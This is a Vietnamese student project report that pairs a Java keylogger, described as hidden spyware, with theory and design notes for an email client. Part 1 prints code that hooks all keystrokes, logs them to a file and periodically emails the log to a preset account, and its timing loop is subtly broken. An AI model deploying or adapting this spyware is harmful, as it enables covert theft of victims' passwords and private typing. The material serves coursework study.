Tải bản đầy đủ (.docx) (32 trang)

Báo cáo đồ án cơ sở ngành mạng Phần Lập trình mạng Xây dựng chương trình Mail Client

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (1.46 MB, 32 trang )

ĐẠI HỌC ĐÀ NẴNG
TRƯỜNG ĐẠI HỌC BÁCH KHOA

KHOA CÔNG NGHỆ THÔNG TIN
----------

BÁO CÁO ĐỒ ÁN

CƠ SỞ NGÀNH MẠNG
Phần Nguyên lý hệ điều hành:

Tìm hiểu kĩ thuật lập trình Hook và viết chương trình
bắt phím Keylogger
Phần Lập trình mạng

Xây dựng chương trình Mail Client


MỤC LỤC
PHẦN 1: NGUYÊN LÍ HỆ ĐIỀU HÀNH.....................................................................5
chương 1: CƠ SỞ LÝ THUYẾT....................................................................................5
1.1.

Khái niệm cơ bản..............................................................................................5

1.2.

Kĩ thuật lập trình hook......................................................................................6

1.2.1.


Các loại mơ hình Hook...............................................................................6

1.2.2.

Cơ chế của Hook........................................................................................6

1.2.3.

Phân loại Hook...........................................................................................7

1.2.4.

Thư viện JnativeHook của Java..................................................................8

CHƯƠNG 2: PHÂN TÍCH VÀ THIẾT KẾ HỆ THỒNG..............................................9
2.1. Phân tích yêu cầu.................................................................................................9
2.1.1.

Yêu cầu về chức năng.................................................................................9

2.1.2.

Yêu cầu về giao diện người dùng...............................................................9

2.1.3.

Yêu cầu về tương thích...............................................................................9

2.2.


Phân tích chức năng..........................................................................................9

2.2.1.

Bắt sự kiện từ bàn phím..............................................................................9

2.2.2.

Ghi ra tệp văn bản theo ngày tháng..........................................................10

2.2.3.

Gửi tệp đã tạo qua email...........................................................................11

CHƯƠNG 3: TRIỂN KHAI VÀ ĐÁNH GIÁ KẾT QUẢ............................................11
3.1.

Công cụ xây dựng chương trình......................................................................11

3.2.

Hình ảnh kết quả chạy chương trình................................................................11

PHẦN 2: LẬP TRÌNH MẠNG....................................................................................14
CHƯƠNG 1: CƠ SỞ LÝ THUYẾT.............................................................................14
1.1.

Giới thiệu........................................................................................................14

1.1.1.


Thư điện tử (Email)..................................................................................14

1.1.2.

Cấu trúc một mail.....................................................................................15

1.2.

Các giao thức gửi nhận mail............................................................................16

1.2.1.

Giao thức SMTP.......................................................................................16

1.2.2.

Giao thức POP3........................................................................................17

1.2.3.

Giao thức IMAP.......................................................................................19


CHƯƠNG 2: PHÂN TÍCH VÀ THIẾT KẾ HỆ THỐNG............................................21
2.1. Phân tích chức năng...........................................................................................21
2.2. Thiết kế hệ thống................................................................................................23
2.2.1. Sơ đồ gói (Pakage diagram).........................................................................23
2.1.2. UI.................................................................................................................23
2.1.3. Controller.....................................................................................................24

2.1.4. Bean.............................................................................................................24
CHƯƠNG 3: TRIỂN KHAI VÀ ĐÁNH GIÁ KẾT QUẢ:...........................................26
3.1. Mơi trường phát triển.........................................................................................26
3.2. Hình ảnh demo...................................................................................................26
KẾT LUẬN VÀ HƯỚNG PHÁT TRIỂN....................................................................31
1. Kết quả đạt được.................................................................................................31
2. Hướng phát triển...................................................................................................31


DANH SÁCH HÌNH ẢNH
Hình 1. Quy trình Hook..................................................................................................5
Hình 2: Thư mục lưu file output ghi lại những phím đã gõ............................................9
Hình 3: File output ghi những phím đã gõ...................................................................10
Hình 4: File output.txt được gửi tự động về mail cá nhân............................................10
Hình 5: Cơ chế hoạt động của thư điện tử....................................................................12
Hình 6: Cơ chế giao thức SMTP...................................................................................15
Hình 7: Sơ đồ gói.........................................................................................................19
Hình 8: Màn hình đăng nhập........................................................................................22
Hình 9: Màn hình hộp thư đã gửi.................................................................................23
Hình 10: Màn hình hộp thư đã gửi...............................................................................23
Hình 11: Màn hình hộp thư nháp..................................................................................24
Hình 12: Màn hình hộp thư spam.................................................................................24
Hình 13: Màn hình chi tiết của mail.............................................................................25
Hình 14: Màn hình soạn mail.......................................................................................25
Hình 15: Màn hình gửi mail thành cơng.......................................................................26
Hình 16: Màn hình gửi đăng xuất.................................................................................26


DANH SÁCH TỪ VIẾT TẮT
Từ viết tắt


Diễn giải

SMTP

Simple Mail Transfer Protocol

POP3

Post Office Protocol Version 3

IMAP

Internet Message Access Protocol

URL

Uniform Resource Locator

TCP

Transmission Control Protocol


PHẦN 1: NGUN LÍ HỆ ĐIỀU HÀNH
TIÊU ĐỀ: TÌM HIỂU KỸ THUẬT LẬP TRÌNH HOOK VÀ XÂY DỰNG
CHƯƠNG TRÌNH BẮT PHÍM KEYLOGGER
CHƯƠNG 1: CƠ SỞ LÝ THUYẾT
1.1.


Khái niệm cơ bản

Khơng giống như các ứng dụng trên nền MS-DOS, các ứng dụng trên nền Windows
thì hướng sự kiện, chúng khơng thực hiện các cuộc gọi hàm rõ ràng để lấy đầu vào,
thay vào đó chúng chờ cho hệ thống chuyển đầu vào đến chúng.
Window là một hệ điều hành dễ sử dụng, sự tương tác của người dùng với các ứng
dụng và tiện ích của window một cách dễ dàng thơng qua giao diện đồ họa (GUI) bằng
các thao tác chuột, phím đơn giản. Một câu hỏi được đặt ra là “Các ứng dụng làm thế
nào để phân loại, lưu giữ cũng như phản hồi lại các tương tác đó đến người dùng?”.
Window cung cấp cơ chế thông điệp (message) và hàng đợi thông điệp (message
queue) cùng với tập hợp các cấu trúc dữ liệu và các hàm API hỗ trợ ứng dụng giao tiếp
với người dùng. Window có hai hàng đợi thông điệp: Hàng đợi hệ thống (system
queue) và hàng đợi ứng dụng (Application queue). Hàng đợi hệ thống là hàng đợi duy
nhất được dùng chung cho toàn bộ hệ thống, mọi tiến trình đang chạy đều chia sẻ hàng
đợi này. Nhiệm vụ của hàng đợi hệ thống là ghi lại các hành động của phần cứng như
kích chuột, gõ phím,… khi chúng xảy ra.
Q trình xử lý thơng điệp của Windows diễn ra như sau: Đầu tiên từ các hành
động của nguời dùng như là : click chuột, nhấn phím, .. thì hệ điều hành sẽ chuyển các
hành động tương ứng thành các thơng điệp (message). Rồi sau đó Windows đẩy các
message này vào hàng đợi của hệ thống (system queue) và từ system queue các
message đuợc chuyển đến ứng dụng. Những thông điệp này khi được chuyển đến ứng
dụng, chúng tạo thành hàng đợi ứng dụng (application queue). Từ lúc này các ứng
dụng sẽ lấy các thông điệp này trong hàng đợi ứng dụng của mình để xử lý (thông qua


các

vịng

lặp


chờ

thơng

điệp

-message

loop).

Hình 1. Quy trình Hook
1.2.

Kĩ thuật lập trình hook

1.2.1. Các loại mơ hình Hook
 Local hook: là kỹ thuật Hook dùng để bẫy sự kiện ngay trong tiến trình cài đặt.
 Remote hook: là kỹ thuật Hook cho phép bẫy các sự kiện thuộc tiến trình của
ứng dụng khác. Trong mơ hình này lại tồn tại hai kiểu hook khác:
+ Thread-specific: kiểu Hook này sẽ bẫy sự kiện của một luồng cụ thể.
+ System-wide: bẫy sự kiện của tất cả các luồng trong tất cả các tiến trình đang
thi hành trong hệ thống.
1.2.2. Cơ chế của Hook
Có nhiều loại hook (như chuột, bàn phím) và hệ điều hành ln duy trì một danh
sách các hook procedure cho mỗi loại đó. Mỗi danh sách các Hook procedure này được
gọi là hookchain(chuỗi hook) . Bản chất của hook chain là một dãy các con trỏ hàm trỏ
đến các Hook procedure.
Khi hệ thống thực hiện một sự kiện nào đó, nó sẽ tìm kiếm trong hook chain
tương ứng với sự kiện đó. Nếu một hook procedure phù hợp được tìm thấy, hệ thống sẽ



thực hiện nó và chỉ lấy lại quyền điều khiển sau khi hook chain kết thúc. Vì thế khi một
hook procedure thực hiện xong, nó phải thực hiện việc chuyển quyền điều khiển cho
hook procedure kế tiếp trong hook chain.
Tuy nhiên cơ chế này còn tùy thuộc vào loại hook. Như một số loại hook chỉ có
thể theo dõi các thơng điệp, vì vậy cho dù hook procedure có chuyển quyền điều khiển
cho hook procedure kế tiếp hay không, hệ thống vẫn sẽ tự động làm việc này. Một
điểm cần lưu ý là hook sẽ làm chậm hệ thống, vì thế bạn chỉ nên cài đặt hook khi cần
thiết và loại bỏ nó khi đã hồn tất cơng việc.
1.2.3. Phân loại Hook
Có nhiều loại hook được phân biệt dựa vào các sự kiện, thông điệp mà Hook
procedure can thiệp vào. Danh sách dưới đây liệt kê các loại hook:
 WH_CALLWNDPROC and WH_CALLWNDPROCRET: cho phép bạn theo
dõi các thông điệp gởi đến các thủ tục cửa sổ (window procedure).
WH_CBT: hệ thống gọi thủ tục hook WH_CBT: trước khi activating, creating,
destroying, minimizing, maximizing, moving, hoặcsizing một cửa sổ ; trước khi
hoàn thành một lệnh hệ thống, trước khi loại bỏ một sự kiện chuột hoặc bàn
phím từ hàng đợi thơng điệp hệ thống…
 WH_DEBUG : hệ thống gọi một thủ tục hook WH_DEBUG trước khi gọi một
thủ tục hook kết hợp với bất kỳ hook khác trong hệ thống.
 WH_FOREGROUNDIDLE: các hook WH_FOREGROUNDIDLE cho phép
bạn thực hiện các tác vụ ưu tiên thấp trong thời gian tác vụ đó đang ở chế độ
foreground idle.
 WH_GETMESSAGE: hook WH_GETMESSAGE cho phép một ứng dụng theo
dõi các thông điệptrả về bởi hàm GetMessage hoặc PeekMessage.
 WH_JOURNALPLAYBACK:

các


hook WH_JOURNALPLAYBACK cho

phép một ứng dụng chèn thêm các thông điệp vào hàng đợi thông điệp hệ thống.
 WH_JOURNALRECORD: các hook WH_JOURNALRECORD cho phép bạn
giám sát và ghi lại các sự kiện đầu vào.


 WH_KEYBOARD_LL: Các hook WH_KEYBOARD_LL cho phép bạn theo
dõi các sự kiện bàn phím trong hàng đợi ứng dụng.
 WH_KEYBOARD: hook WH_KEYBOARD cho phép một ứng dụng theo dõi
lưu lượng truy cập thông điệp của thông điệp WM_KEYDOWN và
WM_KEYUP được trả về bởi hàm GetMessage hoặc PeekMessage.
 WH_MOUSE_LL: các hook WH_MOUSE_LL cho phép bạn theo dõi các sự
kiện chuột trong hàng đợi ứng dụng.
 WH_MOUSE : các hook WH_MOUSE cho phép bạn theo dõi các thông điệp
chuột được trả về bởi hàm GetMessage hoặc PeekMessage.
 WH_MSGFILTER and WH_SYSMSGFILTER: cho phép theo dõi chính các
thơng điệp được xử lý bởi menu, scrollbar, dialog…
 WH_SHELL: Chi tiết xem thêm tại thư viện lập trình MSDN.
1.2.4. Thư viện JnativeHook của Java
JNativeHook là một thư viện để cung cấp trình nghe chuột và bàn phím tồn cầu
cho Java. Điều này sẽ cho phép bạn lắng nghe các phím tắt tồn cầu hoặc chuyển
động chuột mà khơng thể sử dụng Java thuần túy. Để hồn thành nhiệm vụ này,
JNativeHook tận dụng mã gốc phụ thuộc vào nền tảng thông qua giao diện gốc của
Java để tạo các móc nối tồn hệ thống cấp thấp và phân phối các sự kiện đó đến
ứng dụng của bạn.
Các sự kiện sau đây có sẵn thơng qua các Listener tương ứng.
 Key Press Events
 Key Release Events
 Key Typed Events

 Mouse Down Events
 Mouse Up Events
 Mouse Click Events
 Mouse Move Events


 Mouse Drag Events
 Mouse Wheel Events
Ngồi trình nghe sự kiện tồn cầu, thư viện này có khả năng đăng các sự kiện
gốc trở lại hệ điều hành gốc.

CHƯƠNG 2: PHÂN TÍCH VÀ THIẾT KẾ HỆ THỒNG
2.1. Phân tích u cầu
2.1.1. u cầu về chức năng
Chương trình ghi lại tồn bộ thao tác phím của người dùng và lưu ra một tập tin văn
bản. File văn bản sẽ tự động gửi về mail người dùng sau một khoảng thời gian nhất
định.
2.1.2. Yêu cầu về giao diện người dùng
Đây là chương trình mang tính chất gián điệp nên sẽ được chạy ẩn trong hệ thống.
Chương trình cũng sẽ có giao diện để người dùng có thể tương tác và tùy chọn riêng.
Sau một khoảng thời gian nhất đinh, file lưu những kí tự bắt được từ bàn phím sẽ
được gửi đến tài khoản cá nhân thông qua mail.
2.1.3. Yêu cầu về tương thích
Để đảm bảo có sự tương tác tốt nhất với Windows, trong chương trình này em đã sử
dụng ngơn ngữ Java trên mơi trường Eclipse.
2.2.

Phân tích chức năng

Keylogger sẽ có một số chức năng chính như sau:

2.2.1. Bắt sự kiện từ bàn phím.
Cơ chế bắt sự kiện từ bàn phím được mơ tả như sau: khi có sự kiện nhấn phím từ
người dùng, thơng điệp sẽ được truyền đến chuỗi hook được liên kết với thơng điệp đó,
thơng điệp sẽ được xử lý lần lượt tại mỗi thủ tục hook trong chuỗi hook.
-

Khai báo một JNatitveHook và để nó bắt các sự kiện của bàn phím.


Code:
try {
GlobalScreen.registerNativeHook();
} catch (NativeHookException e) {
e.printStackTrace();
}
GlobalScreen.addNativeKeyListener(nativeKeyBoard = new
NativeKeyBoard());

-

Lắng nghe sự kiện của bàn phím.

Code:
public class NativeKeyBoard implements NativeKeyListener {
public static String captured = "";
public void nativeKeyPressed(NativeKeyEvent e) {
//Gets the keycode of the key that was pressed
String keyStroke = NativeKeyEvent.getKeyText(e.getKeyCode());
if (keyStroke.length() > 1 && !keyStroke.equals("Space")) {
captured = captured + "\n" + "Modifier Key Pressed: " +

keyStroke + "\n";
} else
if(NativeKeyEvent.getKeyText(e.getKeyCode()).equals("Space")){
captured+= " ";
}
else {
captured += keyStroke;
}

}
public void nativeKeyReleased(NativeKeyEvent nativeKeyEvent) {
}
public void nativeKeyTyped(NativeKeyEvent nativeKeyEvent) {
}

2.2.2. Ghi ra tệp văn bản theo ngày tháng.
Khi người dùng nhấn phím, thì ứng dụng cũng đồng thời bắt phím và ghi phím đó ra
tệp. Tệp ghi ra theo từng ngày tháng cụ thể và tương ứng với ứng dụng tương tác.
public void onSave() {
File file = new File("output.txt");
try (PrintWriter out = new PrintWriter(file, "UTF-8")) {
out.write("DU LIEU VAO LUC: " + new Date().toString() + "\n");


}

out.write(captured);
out.write("\n-------------------------------------");
captured = "";
} catch (FileNotFoundException | UnsupportedEncodingException e1) {

e1.printStackTrace();
}

2.2.3. Gửi tệp đã tạo qua email.
Sau một khoảng thời gian nhất định. File được lưu sẽ được gửi qua mail nhờ tài
khoản đã được cài đặt từ trước.
Code:
long start = System.currentTimeMillis();
SimpleTextMail simpleTextMail = new SimpleTextMail();
while(true){
if(System.currentTimeMillis() - start == 30000){
KeyLogger.nativeKeyBoard.onSave();
simpleTextMail.SendMail();
start = System.currentTimeMillis();
}
}

CHƯƠNG 3: TRIỂN KHAI VÀ ĐÁNH GIÁ KẾT QUẢ
3.1.

Công cụ xây dựng chương trình
Phần mềm Eclipse, viết trên ngơn ngữ Java

3.2.

Hình ảnh kết quả chạy chương trình


Hình 2: Thư mục lưu file output ghi lại những phím đã gõ


Hình 3: File output ghi những phím đã gõ.


Hình 4: File output.txt được gửi tự động về mail cá nhân
3.3.

Đánh giá kết quả

 Ứng dụng gọn nhẹ, dễ sử dụng.
 Một số chức năng cơ bản đã hoàn thành.
 Chương trình sẽ hoạt động khơng chính xác nếu có các ứng dụng hook khác như
các chương trình gõ tiếng việt (Unikey, Vietkey…).
 Các tập tin ghi lại theo tên người dùng đặt mà người dùng gõ chính xác hồn
tồn.
 Chương trình ghi lại được 100% thao tác phím.
 Các tùy chọn thêm hoạt động tốt.


PHẦN 2: LẬP TRÌNH MẠNG
TIÊU ĐỀ: Tìm hiểu giao thức SMTP và POP3. Xây dựng chương trinh Mail
Client.
CHƯƠNG 1: CƠ SỞ LÝ THUYẾT
1.1.

Giới thiệu

1.1.1. Thư điện tử (Email)
Đây là dịch vụ rất phổ biến và thông dụng trong mạng Internet/Intranet và hầu
như không thể thiếu được trong Internet/Intranet hiện nay. Tuy nhiên không phải là
dịch vụ “từ đầu - đến cuối” (end to end), nghĩa là dịch vụ này không địi hỏi hai máy

tính gởi và nhận thư phải nối trực tiếp với nhau để thực hiện việc chuyển thư. Nó là
dịch vụ kiểu lưu và chuyển tiếp (store and forward) thư được chuyển từ máy này sang
máy khác cho tới khi máy đích nhận được. Người nhận cũng chỉ thực hiện một số thao
tác đơn giản để lấy thư, đọc thư và nếu cần thì cho in ra. Cách liên lạc này thuận tiện
hơn nhiều so với gởi thư thông thường qua bức điện hoặc Fax, lại rẻ và nhanh hơn.
Cách thực hiện việc chuyển thư không cần phải kết nối trực tiếp với nhau để chuyển
thư, thư có thể được chuyển từ máy này đến máy khác cho tới máy đích. Giao thức
truyền thống sử dụng cho hệ thống thư điện tử của Internet là SMTP (Simple Mail
Transfer Protocol).

Hình 5: Cơ chế hoạt động của thư điện tử


Cứ mỗi trạm e-mail thường bao gồm ít nhất là hai dịch vụ: POP3 (Post Office
Protocol Version 3) có nhiệm vụ nhận/trả thư từ/tới e-mail client và dịch vụ SMTP
(Simple E-mail Transfer Protocol) có nhiệm vụ nhận/phân phối thư từ/đến POP3 đồng
thời trao đổi thư với các trạm e-mail trung gian.
Mỗi người dùng (client) đều phải kết nối với một E-mail Server gần nhất (đóng
vai trị bưu cục địa phương) phải có một tên (e-mail account) trên một trạm email và sử
dụng chương trình e-mail client (ví dụ như Eudora, Netscape...). Sau khi soạn thảo
xong thư và đề rõ địa chỉ đích (người nhận) rồi gửi thư tới E-mail-Server của mình. Email Server này có nhiệm vụ sẽ tự động kiểm tra và định hướng chuyển thư tới đích
hoặc chuyển thư tới một E-mail-Server trung gian khác. Thư chuyển tới E-mail-Server
của người nhận và được lưu ở đó. Đến khi người nhận thiết lập tới một cuộc kết nối tới
E-mai-Server đó thì thư sẽ chuyển về máy người nhận, nếu khơng thì thư vẫn tiếp tục
giữ lại ở server đảm bảo không bị mất.
Như vậy để gởi/nhận thư người sử dụng chỉ cần quan tâm tới cách sử dụng
chương trình e-mail client. Hiện nay có nhiều chương trình e-mail client như Microsoft
Outlook Express, Eudora Pro, Peagasus mail, Google mail,...
1.1.2. Cấu trúc một mail
Gồm 3 phần cơ bản:

-

Phần phong bì: Mơ tả thông tin về người gửi và người nhận. Do hệ thống tạo ra.

-

Phần tiêu đề (header): chứa đựng các thông tin về người gửi, người nhận, chủ đề
bức mail, địa chỉ hồi âm v.v… Các thông tin này, một số được người sử dụng
cung cấp khi gửi mail, một số khác được chương trình mail them vào, và số còn
lại do Hệ thống điền them.

-

Phần nội dung (body): chứa dduwngj nội dung của bức Mail, là nội dung được
tạo ra bởi trình soạn thảo Editor của chương trình Mail.
Sau đầy là chi tiết của từng phần:
a. Phần phong bì (Envelope)


Phần này do các MTA tạo ra và sử dụng, nó chứa các thơng tin để chuyển
nhận email như địa chỉ của nơi nhận, địa chỉ của nơi gửi. Hay nói cách khác,
giao thức SMTP sẽ quy định thơng tin của phong bì, các hệ thống Email cần
những thơng tin này để chuyển dữ liệu từ một máy tính này sang một máy
tính khác.
b. Phần Tiêu đề (Header)
-

Phần này cung cấp những thông tin tổng quát về Email như người nhận, người
gửi, ngày giờ nhận…


-

Cấu tạo gồm nhiều trường (field) cấu trúc mỗi trường là một dòng văn bản
ASCII chuẩn 7 bit như sau: <Tên trường>:<nội dung của trường>.

-

Sau đây là một số trường thông dụng và ý nghĩa của nó:
 Date: chỉ ngày giờ nhận mail
 From: chỉ người gửi
 To: Chỉ người nhận.
 Cc: Chỉ những người nhận bản copy của mail.
 Bcc: chỉ ra những người nhận bản copy của mail , nhưng từng người sẽ
không biết ai đã nhận bức thư này cùng với mình.
 Return-path: chứa các thơng tin người nhận có thể trả lời lại (thương nó
chính là địa chỉ người gửi).
 Subject: Chủ đề của nội dung Email
c. Phần nội dung (body)
Để phân biệt phần tiêu đề và phần nội dung của bức Mail, người ta qui ước
đặt ranh giới là một dòng trắng (chuỗi ký tự "\r\n"). Kết thúc của phần nội dung
là chuỗi ký tự kết thúc Mail: "\r\n.\r\n". Như vậy nội dung bức Mail nằm trong
khoảng giữa dòng trắng đầu tiên và ký tự kết thúc Mail, và trong phần nội dung
của bức Mail không được phép tồn tại chuỗi ký tự kết thúc Mail. Mặt khác do
môi trường truyền thông là mạng Internet nên các ký tự cấu thành phần body
của bức Mail cũng phải là các ký tự ASCII chuẩn.


1.2.

Các giao thức gửi nhận mail


1.2.1. Giao thức SMTP
SMTP là 3 chữ cái đầu viết tắt của Simple Mail Transfer Protocol dịch ra có
nghĩa là giao thức truyền tải thư tín đơn giản hóa. Và giao thức này thực hiện
nhiệm vụ chính là gửi mail cịn việc nhận mail hay truy xuất dữ liệu mail server sẽ
có giao thức IMAP hay POP3 đảm nhiệm.
SMTP Server (server dùng để gửi mail) là một dịch vụ cho phép gửi email với
số lượng lớn, tốc độ nhanh mà không bị giới hạn như các hịm mail miễn phí của
Gmail hoặc mail đi kèm hosting. Nói cách khác các máy chỉ chủ giúp bạn thao
tác gửi thư người ta thường gọi là SMTP server chúng thực hiện gửi thư qua giao
thức TCP hoặc IP.
Thường thì SMTP thực hiện để hoạt động qua cổng Internet 25 (TCP) nhưng tại
châu âu có một phương thức thay thế cho SMTP của gmail được sử dụng rộng rãi
gọi là X.400. Song Song với đó có nhiều máy chủ thư điện tử giờ đây đã hỗ trợ
giao thức chuyển thư đơn giản mở rộng còn gọi là (ESMTP), giao thức này cho
phép các tệp đa phương tiện được gửi dưới dạng e-mail.

Hình 6: Cơ chế giao thức SMTP

1.2.2. Giao thức POP3
POP3 là viết tắt của Post Office Protocol version 3 là một giao thức tầng ứng
dụng, dùng để lấy thư điện tử từ server mail, thông qua kết nối TCP/IP. POP3 được


sử dụng để kết nối tới server email và tải email xuống máy tính cá nhân thơng qua
ứng dụng email client như Outlook, Thunderbird, Windows Mail, Mac Mail…
POP là một giao thức nhận mail có lịch sử lâu đời. Nó ra đời từ máy tính cịn bị
giới hạn bởi tốc độ, băng thông, vậy nên các kỹ sư đã tạo ra POP, một nỗ lực để
làm đơn giản nhất có thể để tải các bản copy của email để đọc khi offline, sau đó
xóa những email này từ remote server.


Phiên bản đầu của POP được ra đời năm 1984, bản nâng cấp POP2 vào năm
1985. POP3 là phiên bản hiện tại của giao thức này và nó vẫn là một trong những giao
thức phổ biến nhất. Từ khi POP3 tạo ra các bản copy của email và xóa bản gốc trên
máy chủ, các email được khóa chặt tại một máy nhất định và không thể truy cập thông
qua webmail hay bất cứ client nào trên các máy khác. Tóm lại POP3 là giao thức 1
chiều.
Cơ chế hoạt động của POP:
 Kết nối đến server.
 Nhận toàn bộ mail.


 Lưu cục bộ như mail mới.
 Xóa mail trên server.
 Ngắt kết nối với server.
Mặc định, port POP3 là:
 Port 110 – port khơng mã hóa
 Port 995 – SSL/TLS port, cũng có thể được gọi là POP3S
Nhược điểm của POP3:
Mỗi lần nhận mail, POP sẽ download email đó về máy local (và mặc định xóa
mail trên server đi) nên bạn sẽ không thể sử dụng nhiều thiết bị để quản lý cùng một tài
khoản email qua giao thức POP. Tuy nhiên, bạn có thể cấu hình email client để POP3
khơng xóa email trên server mà chỉ “mask as read” – đánh dấu đã đọc với những email
đó.
Ưu điểm của POP3:
 Mail được lưu cục bộ, tức ln có thể truy cập ngay cả khi khơng có kết nối
Internet.
 Kết nối Internet chỉ dùng để gửi và nhận mail.
 Tiết kiệm không gian lưu trữ trên server.
 Được lựa chọn để lại bản sao mail trên server.

 Hợp nhất nhiều tài khoản email và nhiều server vào một hộp thư đến.
1.2.3. Giao thức IMAP
IMAP là viết tắt của Internet Message Access Protocol, là giao thức chuẩn
Internet được sử dụng bởi các ứng dụng email để truy xuất thư email từ máy chủ thư
qua kết nối TCP/IP. IMAP được tạo ra vào năm 1986 nhưng nó vẫn phù hợp với cơng
nghệ hiện đại thời nay. Ý tưởng của nó là thay vì người dùng cứ phải ràng buộc vào
một email client nào đó, mà người dùng có thể check mail ngay trên đám mây internet
từ bất kỳ thiết bị, ứng dụng nào.



×